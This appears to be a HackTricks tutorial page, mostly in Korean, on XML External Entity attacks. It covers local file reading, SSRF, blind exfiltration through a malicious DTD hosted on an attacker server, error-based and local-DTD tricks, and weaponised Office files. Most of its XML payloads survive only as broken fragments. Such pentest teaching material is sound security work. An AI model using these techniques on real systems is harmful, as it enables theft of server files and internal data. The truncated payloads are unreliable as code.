# XXE - XEE - XML External Entity {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
{% embed url="https://websec.nl/" %} ## XML Basics XML은 데이터 μ €μž₯ 및 전솑을 μœ„ν•΄ μ„€κ³„λœ λ§ˆν¬μ—… μ–Έμ–΄λ‘œ, μ„€λͺ…μ μœΌλ‘œ λͺ…λͺ…λœ νƒœκ·Έλ₯Ό μ‚¬μš©ν•  수 μžˆλŠ” μœ μ—°ν•œ ꡬ쑰λ₯Ό νŠΉμ§•μœΌλ‘œ ν•©λ‹ˆλ‹€. XML은 미리 μ •μ˜λœ νƒœκ·Έ 집합에 μ œν•œλ˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμ— HTMLκ³Ό λ‹€λ¦…λ‹ˆλ‹€. JSON의 λΆ€μƒμœΌλ‘œ XML의 μ€‘μš”μ„±μ€ κ°μ†Œν–ˆμ§€λ§Œ, AJAX κΈ°μˆ μ—μ„œμ˜ 초기 역할은 μ—¬μ „νžˆ μ€‘μš”ν•©λ‹ˆλ‹€. * **μ—”ν‹°ν‹°λ₯Ό ν†΅ν•œ 데이터 ν‘œν˜„**: XML의 μ—”ν‹°ν‹°λŠ” `<` 및 `>`와 같은 특수 문자λ₯Ό ν¬ν•¨ν•œ 데이터λ₯Ό ν‘œν˜„ν•  수 있게 ν•΄μ£Όλ©°, μ΄λŠ” XML의 νƒœκ·Έ μ‹œμŠ€ν…œκ³Όμ˜ μΆ©λŒμ„ ν”Όν•˜κΈ° μœ„ν•΄ `<` 및 `>`에 ν•΄λ‹Ήν•©λ‹ˆλ‹€. * **XML μš”μ†Œ μ •μ˜**: XML은 μš”μ†Œ μœ ν˜•μ„ μ •μ˜ν•  수 있으며, μš”μ†Œκ°€ μ–΄λ–»κ²Œ κ΅¬μ‘°ν™”λ˜μ–΄μ•Ό ν•˜κ³  μ–΄λ–€ λ‚΄μš©μ„ 포함할 수 μžˆλŠ”μ§€λ₯Ό μ„€λͺ…ν•©λ‹ˆλ‹€. μ΄λŠ” λͺ¨λ“  μœ ν˜•μ˜ μ½˜ν…μΈ μ—μ„œ νŠΉμ • μžμ‹ μš”μ†Œμ— 이λ₯΄κΈ°κΉŒμ§€ λ‹€μ–‘ν•©λ‹ˆλ‹€. * **λ¬Έμ„œ μœ ν˜• μ •μ˜ (DTD)**: DTDλŠ” XMLμ—μ„œ λ¬Έμ„œμ˜ ꡬ쑰와 포함할 수 μžˆλŠ” 데이터 μœ ν˜•μ„ μ •μ˜ν•˜λŠ” 데 μ€‘μš”ν•©λ‹ˆλ‹€. DTDλŠ” λ‚΄λΆ€, μ™ΈλΆ€ λ˜λŠ” μ‘°ν•©μœΌλ‘œ μ‘΄μž¬ν•  수 있으며, λ¬Έμ„œμ˜ ν˜•μ‹κ³Ό μœ νš¨μ„±μ„ μ•ˆλ‚΄ν•©λ‹ˆλ‹€. * **μ‚¬μš©μž μ •μ˜ 및 μ™ΈλΆ€ μ—”ν‹°ν‹°**: XML은 DTD λ‚΄μ—μ„œ μ‚¬μš©μž μ •μ˜ μ—”ν‹°ν‹° 생성을 μ§€μ›ν•˜μ—¬ μœ μ—°ν•œ 데이터 ν‘œν˜„μ„ κ°€λŠ₯ν•˜κ²Œ ν•©λ‹ˆλ‹€. URL둜 μ •μ˜λœ μ™ΈλΆ€ μ—”ν‹°ν‹°λŠ” XML μ™ΈλΆ€ μ—”ν‹°ν‹°(XXE) 곡격의 λ§₯λ½μ—μ„œ λ³΄μ•ˆ 문제λ₯Ό μΌμœΌν‚€λ©°, μ΄λŠ” XML νŒŒμ„œκ°€ μ™ΈλΆ€ 데이터 μ†ŒμŠ€λ₯Ό μ²˜λ¦¬ν•˜λŠ” 방식을 μ•…μš©ν•©λ‹ˆλ‹€: ` ]>` * **λ§€κ°œλ³€μˆ˜ μ—”ν‹°ν‹°λ₯Ό ν†΅ν•œ XXE 탐지**: XXE 취약점을 νƒμ§€ν•˜κΈ° μœ„ν•΄, 특히 νŒŒμ„œ λ³΄μ•ˆ 쑰치둜 인해 κΈ°μ‘΄ 방법이 μ‹€νŒ¨ν•  λ•Œ XML λ§€κ°œλ³€μˆ˜ μ—”ν‹°ν‹°λ₯Ό ν™œμš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ μ—”ν‹°ν‹°λŠ” DNS 쑰회 λ˜λŠ” μ œμ–΄λœ 도메인에 λŒ€ν•œ HTTP μš”μ²­μ„ νŠΈλ¦¬κ±°ν•˜λŠ” λ“±μ˜ λΉ„λŒ€λ©΄ 탐지 κΈ°μˆ μ„ ν—ˆμš©ν•˜μ—¬ 취약성을 ν™•μΈν•©λ‹ˆλ‹€. * ` ]>` * ` ]>` ## Main attacks [**이 곡격의 λŒ€λΆ€λΆ„μ€ ν›Œλ₯­ν•œ Portswiggers XEE μ‹€ν—˜μ‹€μ„ μ‚¬μš©ν•˜μ—¬ ν…ŒμŠ€νŠΈλ˜μ—ˆμŠ΅λ‹ˆλ‹€: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe) ### New Entity test 이 κ³΅κ²©μ—μ„œλŠ” κ°„λ‹¨ν•œ μƒˆλ‘œμš΄ ENTITY 선언이 μž‘λ™ν•˜λŠ”μ§€ ν…ŒμŠ€νŠΈν•  κ²ƒμž…λ‹ˆλ‹€. ```xml ]> &toreplace; 1 ``` ![](<../.gitbook/assets/image (870).png>) ### 파일 읽기 λ‹€μ–‘ν•œ λ°©λ²•μœΌλ‘œ `/etc/passwd`λ₯Ό μ½μ–΄λ³΄κ² μŠ΅λ‹ˆλ‹€. Windowsμ—μ„œλŠ” `C:\windows\system32\drivers\etc\hosts`λ₯Ό 읽어볼 수 μžˆμŠ΅λ‹ˆλ‹€. 첫 번째 κ²½μš°μ—μ„œ SYSTEM "_\*\*file:///\*\*etc/passwd_"도 μž‘λ™ν•œλ‹€λŠ” 점에 μœ μ˜ν•˜μ„Έμš”. ```xml ]> &example; ``` ![](<../.gitbook/assets/image (86).png>) 이 두 번째 μ‚¬λ‘€λŠ” μ›Ή μ„œλ²„κ°€ PHPλ₯Ό μ‚¬μš©ν•˜λŠ” 경우 νŒŒμΌμ„ μΆ”μΆœν•˜λŠ” 데 μœ μš©ν•΄μ•Ό ν•©λ‹ˆλ‹€ (Portswiggers μ‹€ν—˜μ‹€μ˜ κ²½μš°λŠ” μ•„λ‹˜) ```xml ]> &example; ``` 이 μ„Έ 번째 μ‚¬λ‘€μ—μ„œλŠ” `Element stockCheck`λ₯Ό ANY둜 μ„ μ–Έν•˜κ³  μžˆμŒμ„ μ£Όλͺ©ν•˜μ„Έμš”. ```xml ]> &file; 1 ``` ![](<../.gitbook/assets/image (753).png>) ### 디렉토리 λͺ©λ‘ **Java** 기반 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œλŠ” XXEλ₯Ό 톡해 **λ””λ ‰ν† λ¦¬μ˜ λ‚΄μš©μ„ λ‚˜μ—΄**ν•  수 μžˆλŠ” κ°€λŠ₯성이 있으며, λ‹€μŒκ³Ό 같은 νŽ˜μ΄λ‘œλ“œλ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€ (파일 λŒ€μ‹  디렉토리λ₯Ό μš”μ²­ν•˜λŠ” 경우): ```xml ]>&xxe; ]>&xxe; ``` ### SSRF XXEλŠ” ν΄λΌμš°λ“œ λ‚΄μ—μ„œ SSRFλ₯Ό μ•…μš©ν•˜λŠ” 데 μ‚¬μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. ```xml ]> &xxe;1 ``` ### Blind SSRF 이전에 μ–ΈκΈ‰λœ κΈ°μˆ μ„ μ‚¬μš©ν•˜μ—¬ μ„œλ²„κ°€ 당신이 μ œμ–΄ν•˜λŠ” μ„œλ²„μ— μ ‘κ·Όν•˜κ²Œ ν•˜μ—¬ 취약성을 보여쀄 수 μžˆμŠ΅λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜, λ§Œμ•½ 그것이 μž‘λ™ν•˜μ§€ μ•ŠλŠ”λ‹€λ©΄, μ•„λ§ˆλ„ **XML μ—”ν‹°ν‹°κ°€ ν—ˆμš©λ˜μ§€ μ•ŠκΈ° λ•Œλ¬Έ**일 수 μžˆμŠ΅λ‹ˆλ‹€. 이 경우 **XML λ§€κ°œλ³€μˆ˜ μ—”ν‹°ν‹°**λ₯Ό μ‚¬μš©ν•΄ λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€: ```xml %xxe; ]> 3;1 ``` ### "Blind" SSRF - Exfiltrate data out-of-band **이번 κ²½μš°μ—λŠ” μ„œλ²„κ°€ μ•…μ„± νŽ˜μ΄λ‘œλ“œκ°€ ν¬ν•¨λœ μƒˆλ‘œμš΄ DTDλ₯Ό λ‘œλ“œν•˜λ„λ‘ ν•˜μ—¬ 파일의 λ‚΄μš©μ„ HTTP μš”μ²­μ„ 톡해 μ „μ†‘ν•©λ‹ˆλ‹€ (닀쀑 ν–‰ 파일의 경우 \_ftp://**\_λ₯Ό 톡해 전솑해 λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄ 이 κΈ°λ³Έ μ„œλ²„ [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**λ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€). 이 μ„€λͺ…은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**λ₯Ό 기반으둜 ν•©λ‹ˆλ‹€.** 주어진 μ•…μ„± DTDμ—μ„œλŠ” 데이터λ₯Ό μœ μΆœν•˜κΈ° μœ„ν•΄ 일련의 단계가 μˆ˜ν–‰λ©λ‹ˆλ‹€: ### μ•…μ„± DTD μ˜ˆμ‹œ: κ΅¬μ‘°λŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€: ```xml "> %eval; %exfiltrate; ``` The steps executed by this DTD include: 1. **Parameter Entities μ •μ˜:** * XML νŒŒλΌλ―Έν„° 엔티티인 `%file`이 μƒμ„±λ˜μ–΄ `/etc/hostname` 파일의 λ‚΄μš©μ„ μ½μŠ΅λ‹ˆλ‹€. * 또 λ‹€λ₯Έ XML νŒŒλΌλ―Έν„° 엔티티인 `%eval`이 μ •μ˜λ©λ‹ˆλ‹€. μ΄λŠ” λ™μ μœΌλ‘œ μƒˆλ‘œμš΄ XML νŒŒλΌλ―Έν„° 엔티티인 `%exfiltrate`λ₯Ό μ„ μ–Έν•©λ‹ˆλ‹€. `%exfiltrate` μ—”ν‹°ν‹°λŠ” 곡격자의 μ„œλ²„μ— HTTP μš”μ²­μ„ ν•˜λ„λ‘ μ„€μ •λ˜λ©°, URL의 쿼리 λ¬Έμžμ—΄ λ‚΄μ—μ„œ `%file` μ—”ν‹°ν‹°μ˜ λ‚΄μš©μ„ μ „λ‹¬ν•©λ‹ˆλ‹€. 2. **μ—”ν‹°ν‹° μ‹€ν–‰:** * `%eval` μ—”ν‹°ν‹°κ°€ μ‚¬μš©λ˜μ–΄ `%exfiltrate` μ—”ν‹°ν‹°μ˜ 동적 선언이 μ‹€ν–‰λ©λ‹ˆλ‹€. * κ·Έ ν›„ `%exfiltrate` μ—”ν‹°ν‹°κ°€ μ‚¬μš©λ˜μ–΄ 파일의 λ‚΄μš©μ„ ν¬ν•¨ν•œ HTTP μš”μ²­μ΄ μ§€μ •λœ URL둜 μ „μ†‘λ©λ‹ˆλ‹€. κ³΅κ²©μžλŠ” 이 μ•…μ„± DTDλ₯Ό μžμ‹ μ΄ μ œμ–΄ν•˜λŠ” μ„œλ²„μ— ν˜ΈμŠ€νŒ…ν•˜λ©°, 일반적으둜 `http://web-attacker.com/malicious.dtd`와 같은 URLμ—μ„œ ν˜ΈμŠ€νŒ…ν•©λ‹ˆλ‹€. **XXE Payload:** μ·¨μ•½ν•œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ•…μš©ν•˜κΈ° μœ„ν•΄ κ³΅κ²©μžλŠ” XXE νŽ˜μ΄λ‘œλ“œλ₯Ό μ „μ†‘ν•©λ‹ˆλ‹€: ```xml %xxe;]> 3;1 ``` This payload defines an XML parameter entity `%xxe` and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the `/etc/hostname` file to the attacker's server. ### Error Based(External DTD) **이 경우 μ„œλ²„κ°€ 파일의 λ‚΄μš©μ„ 였λ₯˜ λ©”μ‹œμ§€ μ•ˆμ— ν‘œμ‹œν•˜λŠ” μ•…μ„± DTDλ₯Ό λ‘œλ“œν•˜λ„λ‘ λ§Œλ“€ κ²ƒμž…λ‹ˆλ‹€(였λ₯˜ λ©”μ‹œμ§€λ₯Ό λ³Ό 수 μžˆλŠ” κ²½μš°μ—λ§Œ μœ νš¨ν•©λ‹ˆλ‹€).** [**μ—¬κΈ°μ„œ μ˜ˆμ‹œ.**](https://portswigger.net/web-security/xxe/blind) μ•…μ„± μ™ΈλΆ€ λ¬Έμ„œ μœ ν˜• μ •μ˜(DTD)λ₯Ό μ‚¬μš©ν•˜μ—¬ `/etc/passwd` 파일의 λ‚΄μš©μ„ λ“œλŸ¬λ‚΄λŠ” XML νŒŒμ‹± 였λ₯˜ λ©”μ‹œμ§€λ₯Ό νŠΈλ¦¬κ±°ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” λ‹€μŒ λ‹¨κ³„λ‘œ μˆ˜ν–‰λ©λ‹ˆλ‹€: 1. `/etc/passwd` 파일의 λ‚΄μš©μ„ ν¬ν•¨ν•˜λŠ” `file`μ΄λΌλŠ” XML λ§€κ°œλ³€μˆ˜ μ—”ν„°ν‹°κ°€ μ •μ˜λ©λ‹ˆλ‹€. 2. `eval`μ΄λΌλŠ” XML λ§€κ°œλ³€μˆ˜ μ—”ν„°ν‹°κ°€ μ •μ˜λ˜λ©°, μ΄λŠ” `error`λΌλŠ” 또 λ‹€λ₯Έ XML λ§€κ°œλ³€μˆ˜ 엔터티에 λŒ€ν•œ 동적 선언을 ν¬ν•¨ν•©λ‹ˆλ‹€. 이 `error` μ—”ν„°ν‹°λŠ” 평가될 λ•Œ μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” νŒŒμΌμ„ λ‘œλ“œν•˜λ €κ³  μ‹œλ„ν•˜λ©°, `file` μ—”ν„°ν‹°μ˜ λ‚΄μš©μ„ μ΄λ¦„μœΌλ‘œ ν¬ν•¨ν•©λ‹ˆλ‹€. 3. `eval` μ—”ν„°ν‹°κ°€ ν˜ΈμΆœλ˜μ–΄ `error` μ—”ν„°ν‹°μ˜ 동적 선언이 μ΄λ£¨μ–΄μ§‘λ‹ˆλ‹€. 4. `error` μ—”ν„°ν‹°μ˜ ν˜ΈμΆœμ€ μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” νŒŒμΌμ„ λ‘œλ“œν•˜λ €κ³  μ‹œλ„ν•˜μ—¬, 파일 μ΄λ¦„μ˜ μΌλΆ€λ‘œ `/etc/passwd` 파일의 λ‚΄μš©μ„ ν¬ν•¨ν•˜λŠ” 였λ₯˜ λ©”μ‹œμ§€λ₯Ό μƒμ„±ν•©λ‹ˆλ‹€. μ•…μ„± μ™ΈλΆ€ DTDλŠ” λ‹€μŒ XML둜 호좜될 수 μžˆμŠ΅λ‹ˆλ‹€: ```xml %xxe;]> 3;1 ``` Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file. ![](<../.gitbook/assets/image (809).png>) _**μ™ΈλΆ€ DTDλŠ” 두 번째 μ•ˆμ— ν•˜λ‚˜μ˜ μ—”ν‹°ν‹°(****`eval`****)λ₯Ό 포함할 수 μžˆλ„λ‘ ν—ˆμš©ν•˜μ§€λ§Œ, λ‚΄λΆ€ DTDμ—μ„œλŠ” κΈˆμ§€λ©λ‹ˆλ‹€. λ”°λΌμ„œ μ™ΈλΆ€ DTDλ₯Ό μ‚¬μš©ν•˜μ§€ μ•Šκ³ λŠ” 였λ₯˜λ₯Ό κ°•μ œν•  수 μ—†μŠ΅λ‹ˆλ‹€(일반적으둜).**_ ### **였λ₯˜ 기반 (μ‹œμŠ€ν…œ DTD)** κ·Έλ ‡λ‹€λ©΄ **아웃 였브 λ°΄λ“œ μƒν˜Έμž‘μš©μ΄ μ°¨λ‹¨λœ** 경우 λΈ”λΌμΈλ“œ XXE 취약점은 μ–΄λ–»κ²Œ λ κΉŒμš”?. XML μ–Έμ–΄ μ‚¬μ–‘μ˜ ν—ˆμ μ€ **λ¬Έμ„œμ˜ DTDκ°€ λ‚΄λΆ€ 및 μ™ΈλΆ€ 선언을 ν˜Όν•©ν•  λ•Œ 였λ₯˜ λ©”μ‹œμ§€λ₯Ό 톡해 λ―Όκ°ν•œ 데이터λ₯Ό λ…ΈμΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€**. 이 λ¬Έμ œλŠ” μ™ΈλΆ€μ—μ„œ μ„ μ–Έλœ μ—”ν‹°ν‹°μ˜ λ‚΄λΆ€ μž¬μ •μ˜λ₯Ό ν—ˆμš©ν•˜μ—¬ 였λ₯˜ 기반 XXE 곡격의 싀행을 μš©μ΄ν•˜κ²Œ ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ 곡격은 μ™ΈλΆ€ DTDμ—μ„œ μ›λž˜ μ„ μ–Έλœ XML λ§€κ°œλ³€μˆ˜ μ—”ν‹°ν‹°μ˜ μž¬μ •μ˜λ₯Ό λ‚΄λΆ€ DTD λ‚΄μ—μ„œ μ•…μš©ν•©λ‹ˆλ‹€. μ„œλ²„μ— μ˜ν•΄ 아웃 였브 λ°΄λ“œ 연결이 μ°¨λ‹¨λ˜λ©΄ κ³΅κ²©μžλŠ” 곡격을 μˆ˜ν–‰ν•˜κΈ° μœ„ν•΄ 둜컬 DTD νŒŒμΌμ— μ˜μ‘΄ν•΄μ•Ό ν•˜λ©°, λ―Όκ°ν•œ 정보λ₯Ό λ“œλŸ¬λ‚΄κΈ° μœ„ν•΄ ꡬ문 였λ₯˜λ₯Ό μœ λ„ν•˜λŠ” 것을 λͺ©ν‘œλ‘œ ν•©λ‹ˆλ‹€. μ„œλ²„μ˜ 파일 μ‹œμŠ€ν…œμ— `/usr/local/app/schema.dtd`에 DTD 파일이 ν¬ν•¨λ˜μ–΄ 있고, `custom_entity`λΌλŠ” μ—”ν‹°ν‹°λ₯Ό μ •μ˜ν•œλ‹€κ³  κ°€μ •ν•΄ λ³΄κ² μŠ΅λ‹ˆλ‹€. κ³΅κ²©μžλŠ” λ‹€μŒκ³Ό 같이 ν•˜μ΄λΈŒλ¦¬λ“œ DTDλ₯Ό μ œμΆœν•˜μ—¬ `/etc/passwd` 파일의 λ‚΄μš©μ„ λ“œλŸ¬λ‚΄λŠ” XML ꡬ문 였λ₯˜λ₯Ό μœ λ„ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```xml "> %eval; %error; '> %local_dtd; ]> ``` The outlined steps are executed by this DTD: * XML λ§€κ°œλ³€μˆ˜ μ—”ν‹°ν‹° `local_dtd`의 μ •μ˜μ—λŠ” μ„œλ²„μ˜ 파일 μ‹œμŠ€ν…œμ— μœ„μΉ˜ν•œ μ™ΈλΆ€ DTD 파일이 ν¬ν•¨λ©λ‹ˆλ‹€. * μ™ΈλΆ€ DTDμ—μ„œ μ›λž˜ μ •μ˜λœ `custom_entity` XML λ§€κ°œλ³€μˆ˜ 엔티티에 λŒ€ν•œ μž¬μ •μ˜κ°€ λ°œμƒν•˜μ—¬ [였λ₯˜ 기반 XXE μ΅μŠ€ν”Œλ‘œμž‡](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 μΊ‘μŠν™”ν•©λ‹ˆλ‹€. 이 μž¬μ •μ˜λŠ” ꡬ문 였λ₯˜λ₯Ό μœ λ„ν•˜μ—¬ `/etc/passwd` 파일의 λ‚΄μš©μ„ λ…ΈμΆœν•˜λ„λ‘ μ„€κ³„λ˜μ—ˆμŠ΅λ‹ˆλ‹€. * `local_dtd` μ—”ν‹°ν‹°λ₯Ό μ‚¬μš©ν•˜μ—¬ μ™ΈλΆ€ DTDκ°€ ν™œμ„±ν™”λ˜κ³  μƒˆλ‘œ μ •μ˜λœ `custom_entity`κ°€ ν¬ν•¨λ©λ‹ˆλ‹€. 이 일련의 μž‘μ—…μ€ μ΅μŠ€ν”Œλ‘œμž‡μ„ μœ„ν•΄ λͺ©ν‘œλ‘œ ν•˜λŠ” 였λ₯˜ λ©”μ‹œμ§€λ₯Ό λ°œμƒμ‹œν‚΅λ‹ˆλ‹€. **Real world example:** GNOME λ°μŠ€ν¬νƒ‘ ν™˜κ²½μ„ μ‚¬μš©ν•˜λŠ” μ‹œμŠ€ν…œμ€ μ’…μ’… `ISOamso`λΌλŠ” μ—”ν‹°ν‹°κ°€ ν¬ν•¨λœ `/usr/share/yelp/dtd/docbookx.dtd`에 DTDλ₯Ό 가지고 μžˆμŠ΅λ‹ˆλ‹€. ```xml "> %eval; %error; '> %local_dtd; ]> 3;1 ``` ![](<../.gitbook/assets/image (625).png>) 이 κΈ°μˆ μ€ **λ‚΄λΆ€ DTDλ₯Ό μ‚¬μš©ν•˜λ―€λ‘œ λ¨Όμ € μœ νš¨ν•œ DTDλ₯Ό μ°Ύμ•„μ•Ό ν•©λ‹ˆλ‹€**. 이λ₯Ό μœ„ν•΄ **μ„œλ²„κ°€ μ‚¬μš©ν•˜λŠ” λ™μΌν•œ OS / μ†Œν”„νŠΈμ›¨μ–΄λ₯Ό μ„€μΉ˜ν•˜κ³ ** **κΈ°λ³Έ DTDλ₯Ό κ²€μƒ‰ν•˜κ±°λ‚˜**, **μ‹œμŠ€ν…œ λ‚΄μ˜ κΈ°λ³Έ DTD λͺ©λ‘μ„ κ°€μ Έμ™€μ„œ** **κ·Έ 쀑 μ–΄λ–€ 것이 μ‘΄μž¬ν•˜λŠ”μ§€ 확인**ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```xml %local_dtd; ]> ``` 더 λ§Žμ€ μ •λ³΄λŠ” [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)μ—μ„œ ν™•μΈν•˜μ„Έμš”. ### μ‹œμŠ€ν…œ λ‚΄ DTD μ°ΎκΈ° λ‹€μŒμ˜ 멋진 github λ ˆν¬μ§€ν† λ¦¬μ—μ„œ **μ‹œμŠ€ν…œμ— μ‘΄μž¬ν•  수 μžˆλŠ” DTD의 경둜**λ₯Ό 찾을 수 μžˆμŠ΅λ‹ˆλ‹€: {% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %} λ˜ν•œ, **ν”Όν•΄μž μ‹œμŠ€ν…œμ˜ Docker 이미지**κ°€ μžˆλ‹€λ©΄, 같은 λ ˆν¬μ§€ν† λ¦¬μ˜ 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ **이미지**λ₯Ό **μŠ€μΊ”**ν•˜κ³  μ‹œμŠ€ν…œ 내에 μ‘΄μž¬ν•˜λŠ” **DTD의 경둜**λ₯Ό **찾을** 수 μžˆμŠ΅λ‹ˆλ‹€. 방법을 배우렀면 [github의 Readme](https://github.com/GoSecure/dtd-finder)λ₯Ό μ½μ–΄λ³΄μ„Έμš”. ```bash java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar Scanning TAR file /tmp/dadocker.tar [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd Testing 0 entities : [] [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd Testing 0 entities : [] ``` ### XXE via Office Open XML Parsers 이 곡격에 λŒ€ν•œ 더 깊이 μžˆλŠ” μ„€λͺ…은 **[**이 λ†€λΌμš΄ 포슀트**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **의 두 번째 μ„Ήμ…˜μ„ ν™•μΈν•˜μ„Έμš”**. **Microsoft Office λ¬Έμ„œλ₯Ό μ—…λ‘œλ“œν•  수 μžˆλŠ” κΈ°λŠ₯은 λ§Žμ€ μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ μ œκ³΅λ©λ‹ˆλ‹€**, 이후 μ΄λŸ¬ν•œ λ¬Έμ„œμ—μ„œ νŠΉμ • μ„ΈλΆ€ 정보λ₯Ό μΆ”μΆœν•©λ‹ˆλ‹€. 예λ₯Ό λ“€μ–΄, μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ μ‚¬μš©μžκ°€ XLSX ν˜•μ‹μ˜ μŠ€ν”„λ ˆλ“œμ‹œνŠΈλ₯Ό μ—…λ‘œλ“œν•˜μ—¬ 데이터λ₯Ό κ°€μ Έμ˜€λŠ” 것을 ν—ˆμš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. νŒŒμ„œκ°€ μŠ€ν”„λ ˆλ“œμ‹œνŠΈμ—μ„œ 데이터λ₯Ό μΆ”μΆœν•˜κΈ° μœ„ν•΄μ„œλŠ” λ°˜λ“œμ‹œ ν•˜λ‚˜ μ΄μƒμ˜ XML νŒŒμΌμ„ νŒŒμ‹±ν•΄μ•Ό ν•©λ‹ˆλ‹€. 이 취약점을 ν…ŒμŠ€νŠΈν•˜κΈ° μœ„ν•΄μ„œλŠ” **XXE νŽ˜μ΄λ‘œλ“œκ°€ ν¬ν•¨λœ Microsoft Office νŒŒμΌμ„ 생성해야 ν•©λ‹ˆλ‹€**. 첫 번째 λ‹¨κ³„λŠ” λ¬Έμ„œλ₯Ό μ••μΆ• ν•΄μ œν•  수 μžˆλŠ” 빈 디렉토리λ₯Ό λ§Œλ“œλŠ” κ²ƒμž…λ‹ˆλ‹€. λ¬Έμ„œμ˜ 압좕이 ν•΄μ œλ˜λ©΄ `./unzipped/word/document.xml`에 μœ„μΉ˜ν•œ XML νŒŒμΌμ„ μ„ ν˜Έν•˜λŠ” ν…μŠ€νŠΈ νŽΈμ§‘κΈ°(예: vim)μ—μ„œ μ—΄κ³  νŽΈμ§‘ν•΄μ•Ό ν•©λ‹ˆλ‹€. XML은 μ›ν•˜λŠ” XXE νŽ˜μ΄λ‘œλ“œλ₯Ό ν¬ν•¨ν•˜λ„λ‘ μˆ˜μ •λ˜μ–΄μ•Ό ν•˜λ©°, μ’…μ’… HTTP μš”μ²­μœΌλ‘œ μ‹œμž‘ν•©λ‹ˆλ‹€. μˆ˜μ •λœ XML 라인은 두 개의 루트 XML 객체 사이에 μ‚½μž…λ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€. μš”μ²­μ„ λͺ¨λ‹ˆν„°λ§ν•  수 μžˆλŠ” URL둜 URL을 κ΅μ²΄ν•˜λŠ” 것이 μ€‘μš”ν•©λ‹ˆλ‹€. λ§ˆμ§€λ§‰μœΌλ‘œ, νŒŒμΌμ„ μ••μΆ•ν•˜μ—¬ μ•…μ„± poc.docx νŒŒμΌμ„ 생성할 수 μžˆμŠ΅λ‹ˆλ‹€. 이전에 μƒμ„±λœ "unzipped" λ””λ ‰ν† λ¦¬μ—μ„œ λ‹€μŒ λͺ…령을 μ‹€ν–‰ν•΄μ•Ό ν•©λ‹ˆλ‹€: 이제 μƒμ„±λœ νŒŒμΌμ„ 잠재적으둜 μ·¨μ•½ν•œ μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— μ—…λ‘œλ“œν•  수 있으며, Burp Collaborator λ‘œκ·Έμ— μš”μ²­μ΄ λ‚˜νƒ€λ‚˜κΈ°λ₯Ό κΈ°λŒ€ν•  수 μžˆμŠ΅λ‹ˆλ‹€. ### Jar: protocol **jar** ν”„λ‘œν† μ½œμ€ **Java μ• ν”Œλ¦¬μΌ€μ΄μ…˜** λ‚΄μ—μ„œλ§Œ μ ‘κ·Όν•  수 μžˆλ„λ‘ μ„€κ³„λ˜μ—ˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” **PKZIP** μ•„μΉ΄μ΄λΈŒ(예: `.zip`, `.jar` λ“±) λ‚΄μ—μ„œ 파일 접근을 κ°€λŠ₯ν•˜κ²Œ ν•˜λ©°, 둜컬 및 원격 파일 λͺ¨λ‘λ₯Ό μ§€μ›ν•©λ‹ˆλ‹€. ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` {% hint style="danger" %} PKZIP 파일 λ‚΄λΆ€μ˜ νŒŒμΌμ— μ ‘κ·Όν•  수 μžˆλŠ” 것은 **μ‹œμŠ€ν…œ DTD νŒŒμΌμ„ 톡해 XXEλ₯Ό μ•…μš©ν•˜λŠ” 데 맀우 μœ μš©ν•©λ‹ˆλ‹€.** [μ‹œμŠ€ν…œ DTD νŒŒμΌμ„ μ•…μš©ν•˜λŠ” 방법을 배우렀면 이 μ„Ήμ…˜μ„ ν™•μΈν•˜μ„Έμš”](xxe-xee-xml-external-entity.md#error-based-system-dtd). {% endhint %} PKZIP 